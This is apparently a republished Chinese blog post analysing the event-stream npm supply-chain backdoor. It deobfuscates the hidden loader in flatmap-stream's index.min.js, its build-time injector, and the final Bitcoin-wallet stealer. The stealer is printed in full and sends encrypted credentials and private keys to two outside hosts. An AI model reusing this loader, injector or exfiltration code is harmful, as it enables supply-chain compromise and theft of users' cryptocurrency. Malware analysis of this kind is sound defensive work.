NPM 软件包 event-stream 恶意篡改漏洞分析

栏目: Node.js · 发布时间: 7年前

内容简介:下载漏洞样本

漏洞介绍

环境搭建

下载漏洞样本

漏洞分析

先看下git commit记录, event-stream#commite316336

NPM 软件包 event-stream 恶意篡改漏洞分析

NPM 软件包 event-stream 恶意篡改漏洞分析

可以看到@right9ctrl增加了 flatmap-stream 包的引用。

去样本中 flatmap-stream 包查看源码,可看到如下目录结构。

NPM 软件包 event-stream 恶意篡改漏洞分析

这里有一点很鸡贼,在 node.js 中,一般默认文件为 index.js ,然而后门作者在 package.json 中设置真正的入口文件是 index.min.jsindex.min.js 是压缩代码,难理解,不易察觉。

NPM 软件包 event-stream 恶意篡改漏洞分析

从命名上不难理解, index.min.jsindex.js 的压缩版,内容本应一样。然而在 index.min.js 最后发现比 index.js 多出的一行代码:

NPM 软件包 event-stream 恶意篡改漏洞分析

我们大致展开这行代码得到下面代码。

!(function() {
  try {
    var r = require,
      t = process;
    function e(r) {
      return Buffer.from(r, "hex").toString();
    }
    var n = r(e("2e2f746573742f64617461")),
      o = t[e(n[3])][e(n[4])];
    if (!o) return;
    var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
      a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
  } catch (r) {}
})();

这里就看到了后门作者第二个鸡贼点了,找到代码依然看不懂啥意思。由于例子特殊,这次漏洞分析就不试用断点调试了,我去用这段代码加上一些注释和输出去剖析它到底干了啥。

先把前面两段翻译一下

// 编码函数,下面频繁调用编码函数去解字符串拼接
    function e(r) {
      return Buffer.from(r, "hex").toString();
    }

    var n = require(e("2e2f746573742f64617461")),
      o = process[e(n[3])][e(n[4])];
    console.log(`require(${e("2e2f746573742f64617461")})`,`process[${e(n[3])}][${e(n[4])}]`) // require(./test/data) process[env][npm_package_description]

输出如下:

require(./test/data) process[env][npm_package_description]

由此输出我们得知,后门作者在这里引用了包内的 ./test/data 这个目录,并且用到了一个环境变量是在node项目 package.json 中的描述字段,此字段会在node程序运行时生成环境变量 npm_package_description 。回头看这个目录中的内容,是一坨加密的数组。

NPM 软件包 event-stream 恶意篡改漏洞分析

后面的程序内容都是通过这串数组去执行的。继续分析后面的代码。

到后面发现无论我怎样log都不输出了,说明后面的代码根本没有走,于是我在代码分支之前把后面的代码按照上面的方式先翻译过来。

    console.log(`var u = require(${e(n[2])})[${e(n[6])}](${e(n[5])}`)
    console.log(`a = u.update(${n[0]})[${e(n[8])}](${e(n[9])}`)
    console.log(`a += u.final(${e(n[9])})`)
    console.log(`var f = new module.constructor();`)
    console.log(`(f.paths = module.paths), f[${e(n[7])}](a, ""), f.exports(${n[1]})`)
    
    if (!o) return;
    var u = require(e(n[2]))[e(n[6])](e(n[5]), o),
      a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);

输出如下:

NPM 软件包 event-stream 恶意篡改漏洞分析

这样就好理解多了,下面有一个解密操作,解密的密钥是 o ,刚才提到了,o是环境变量 npm_package_description ,因此后门作者是打算有针对性的去利用这个后门。只有密钥(npm_package_description)正确才能继续运行下面的密码。

在Github上 I don't know what to say 这个讨论中,最终有大神下载了所有的npm包描述,穷举了密钥。密钥为 A Secure Bitcoin Wallet

我们直接把 o 设置为正确密钥 去解密加密字符串。

!(function() {
  try {
    // 编码函数,下面频繁调用编码函数去解字符串拼接
    function e(r) {
      return Buffer.from(r, "hex").toString();
    }

    var n = require(e("2e2f746573742f64617461")),
      o = process[e(n[3])][e(n[4])];
    o='A Secure Bitcoin Wallet';
    if (!o) return;
    var u = require(e(n[2]))[e(n[6])](e(n[5]), o),
      a = u.update(n[0], e(n[8]), e(n[9]));
    a += u.final(e(n[9]));
    console.log(`解密字符串为:${a}`)
    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
  } catch (r) {}
})();

输出下面内容:

NPM 软件包 event-stream 恶意篡改漏洞分析

又发现了一段代码。但是这段代码此时还是字符串,为了让其生效,后门作者new了一个module构造器,然后编译其中的代码使其成为可执行的 function

NPM 软件包 event-stream 恶意篡改漏洞分析

    var f = new module.constructor();
    (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
    console.log(`f.exports的类型是:${typeof f.exports}`)

NPM 软件包 event-stream 恶意篡改漏洞分析

后门作者第三个鸡贼点,再来一次解密。不过思路一模一样了。继续格式化拿到的新代码:

/*@@*/
module.exports = function(e) {
  try {
      if (!/build\:.*\-release/.test(process.argv[2])) return;// 用户使用build或者release等参数时执行下面代码
      var t = process.env.npm_package_description,// 密钥,还是 A Secure Bitcoin Wallet
          r = require("fs"),
          i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
          n = r.statSync(i),
          c = r.readFileSync(i, "utf8"),
          o = require("crypto").createDecipher("aes256", t),// 解密出新的代码
          s = o.update(e, "hex", "utf8");
          s = "\n" + (s += o.final("utf8"));
          var a = c.indexOf("\n/*@@*/");
          0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
              try {
                  r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中
              } catch (e) {}
          })
  } catch (e) {}
};

发现这次代码好像没有那么晦涩难懂了。

在开发者执行 buildrelease 等命令时,将恶意代码写入 cordova (一个跨平台应用开发框架)库中的一个文件,然后直接将恶意代码带入打包的应用程序中并带到最终的用户终端。

下面解开最后的一段代码:

        e = 'db67fdbfc39c249c6f3381...';
        t = 'A Secure Bitcoin Wallet';
        r = require("fs"),
        i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
        n = r.statSync(i),
        c = r.readFileSync(i, "utf8"),
        o = require("crypto").createDecipher("aes256", t),// 解密出新的代码
        s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        console.log(`解密后字符串为${s}`);
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中
            } catch (e) {}
        })

输出结果:

NPM 软件包 event-stream 恶意篡改漏洞分析

格式化最后一段代码,终于发现了后门作者的意图:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            // 发送http请求,参数为:主机地址,路径,数据
            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            // 加密数据并发送到两台不同的服务器
            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            // 获取文件
            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            // 获取用户账号的详细信息并发送
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            // 重写bitcore-wallet-client/lib/credentials.js中的getKeysFunc函数,发送用户虚拟钱包私钥
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Security Testing Cookbook

Web Security Testing Cookbook

Paco Hope、Ben Walther / O'Reilly Media / 2008-10-24 / USD 39.99

Among the tests you perform on web applications, security testing is perhaps the most important, yet it's often the most neglected. The recipes in the Web Security Testing Cookbook demonstrate how dev......一起来看看 《Web Security Testing Cookbook》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具